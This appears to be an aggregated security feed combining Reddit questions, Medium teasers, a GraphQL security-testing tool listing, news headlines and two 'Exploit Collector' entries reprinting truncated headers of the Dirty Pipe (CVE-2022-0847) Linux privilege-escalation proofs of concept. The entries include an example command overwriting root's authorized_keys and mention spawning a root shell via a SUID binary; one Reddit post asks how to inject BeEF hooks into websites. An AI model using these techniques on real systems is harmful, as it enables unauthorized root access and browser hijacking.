hacking: security in practice
Remote Emulation Optimization

I have a rather powerful main pc that I setup to run Emulators on and would like to access it remotely for remote play on a bigger tv screen in another room.

So far I have set it up with Remote Desktop as it is running win 10 Professional.

I was wondering if there is a better cleaner way to do this that keeps a steady connection and minimal fps drops.

If anyone has had any experience with remote viewing of applications, optimization for remote gaming and graphic intensive applications KVM like applications etc. Please let me know what would be the ideal tool.

submitted by /u/SuperSoakerGuyx
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
How to retrieve deleted videos from Youtube?

I'm not sure if this is right place for this question, but...

I want to download some deleted videos from Youtube. Wayback machine (archive.org) doesn't help. I have links from my Youtube history. So, how to retrieve this videos? I guess it's not impossible, but I can't find anything useful about the topic on google.

Thanks in advance!

submitted by /u/No-Independent2629
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
How to get Beef script to inject into websites

Ubuntu 20.04

i have beef and i am familiar with it i want to test it out (ethically of course) outside my home network.

i saw some videos online using Beef-Over-Wan and Ngrok but it did not seem to work. I tried many Port forwarding services and none seem to work well. Please do not bully me i am super new to this field.

submitted by /u/thegoatkai
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Full Account Takeover due to improper validation of old password

Hello Hackers and Security community. I’m going to share how I’m able find the bug.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Samsung data breach: Hackers steal data from microchip giant Nvidia

https://cdn-images-1.medium.com/max/744/1*8Q2VbglGdk3-vxg_Jj4M_w.jpeg
Samsung has confirmed that a hacking group that stole data from microchip giant Nvidia last week has also infiltrated its systems and…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
GraphQL Cop - Security Auditor Utility For GraphQL APIs

https://blogger.googleusercontent.com/img/a/AVvXsEj_FDT8o9CyGrYIk9p1mG9e-oIZ2b4mEqATkPiChKSPxFtwwhl-olSHufKqcINIYVTz9Rx_S8eLoJ0WPlJ3UCQsOZhd7PoNMExjSd45c8D4dfBZdB0YyV2U-KNIT93DR3sPrCZTGmBDIGjyUVvEWS4KrnQ0Oe8Xp94b7bIgs1DdxVkEfjhAwb4Pj9Vo=w640-h396
GraphQL Cop is a small Python utility to run common security tests against GraphQL APIs.
Requirements

* Python3
* Requests Library

Detections

* Alias Overloading (DoS)
* Batch Queries (DoS)
* GET based Queries (CSRF)
* GraphQL Tracing / Debug Modes (Info Leak)
* Field Duplication (DoS)
* Field Suggestions (Info Leak)
* GraphiQL (Info Leak)
* Introspection (Info Leak)
* Directives Overloading (DoS)

Usage

CSRF (GET)': {'severity': 'LOW', 'impact': 'Possible CSRF', 'description': 'HTTP GET method supported (maybe CSRF)'}, 'Alias Overloading': {'severity': 'HIGH', 'impact': 'Denial of Service', 'description': 'Alias Overloading with 100+ aliases is allowed'}, 'Field Duplication': {'severity': 'HIGH', 'impact': 'Denial of Service', 'description': 'Queries are allowed with 1000+ of the same repeated field'}, 'Directive Overloading': {'severity': 'HIGH', 'impact': 'Denial of Service', 'description': 'Multiple duplicated directives allowed in a query'}}">python3 main.py -t https://mywebsite.com/graphql

GraphQL Cop 1.0
Security Auditor for GraphQL
Dolev Farhi
Download Graphql-Cop

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Dirty Pipe Linux Privilege Escalation

https://2.bp.blogspot.com/-MVgbYjy2n8E/WWlvDeDSliI/AAAAAAAAIK0/xNViOH31E8QoNbofn2xwVueZLLEvjlYYACLcBGAs/s1600/h130.png
Proof of concept for a vulnerability in the Linux kernel existing since version 5.8 that allows overwriting data in arbitrary read-only files. This leads to privilege escalation because unprivileged processes can inject code into root processes.

MD5 | 5689094308e86708965f5bdb2e727f11

Download
/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <max.kellermann@ionos.com
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/

#define _GNU_SOURCE
#include <unistd.h
#include <fcntl.h
#include <stdio.h
#include <stdlib.h
#include <string.h
#include <sys
#include <sys

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096

Exploit Collector
Dirty Pipe SUID Binary Hijack Privilege Escalation

https://2.bp.blogspot.com/-swqN45HZtSI/WWlvXv0Z4fI/AAAAAAAAIOY/czRV0nNAPTIk5N0xfOCTXuQJzRjI48a4wCLcBGAs/s1600/h53.png
Variant proof of concept exploit for the Dirty Pipe file overwrite vulnerability. This version hijacks a SUID binary to spawn a root shell.

MD5 | 7068d6d27faedd0b32b56e4d39ae9688

Download
//
// dirtypipez.c
//
// hacked up Dirty Pipe (CVE-2022-0847) PoC that hijacks a SUID binary to spawn
// a root shell. (and attempts to restore the damaged binary as well)
//
// Wow, Dirty CoW reloaded!
//
// -- blasty <peter@haxx.in// 2022-03-07

/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <max.kellermann@ionos.com
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/

#define _GNU_SOURCE
#include <unistd.h
#include <fcntl.h
#include <stdio.h
#include <stdlib.h
#include <string.h
#include <sys
#include <sys
#include <stdint.h

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096

Dark Reading: Attacks/Breaches
AppSec Startup Cider Security Emerges from Stealth to Tackle SDLC Challenges

Cider Security tackles the No. 1 problem in application security -- finding and fixing vulnerabilities in code quickly -- by increasing visibility over code development and deployment.

Dark Reading: Attacks/Breaches
8 More Women in Security You May Not Know but Should

Dark Reading highlights women who are quietly changing the game in cybersecurity. We also revisit some of those we've spoken to in the past to see what they're up to now.

Dark Reading: Attacks/Breaches
7 Essentials for More Security-Aware Design Automation

Electronic design automation solutions, software programs that help designers develop electronic systems and semiconductor chips, can be used in service of security assurance.

Dark Reading: Attacks/Breaches
Breaking the Bias for International Women’s Day 2022

The theme of International Women’s Day 2022 is “Break the bias." This is what #BreaktheBias means to me.

Log4shell in google $1337.00

Looking through the google cloud console for products “https://console.cloud.google.com” to look for bugs i came across VMware Engine.Continue reading on Medium »
Read more...

Gallery Tryhackme Walkthrough part-1

File uploading attackContinue reading on Medium »
Read more...

Log4shell in google $1337.00

Looking through the google cloud console for products “https://console.cloud.google.com” to look for bugs i came across VMware Engine.Continue reading on Medium »
Read more...

Gallery Tryhackme Walkthrough part-1

File uploading attackContinue reading on Medium »
Read more...

Log4shell in google $1337.00
https://medium.com/@amnotacat/log4shell-in-google-1337-00-144684269bf8?source=rss------bug_bounty-5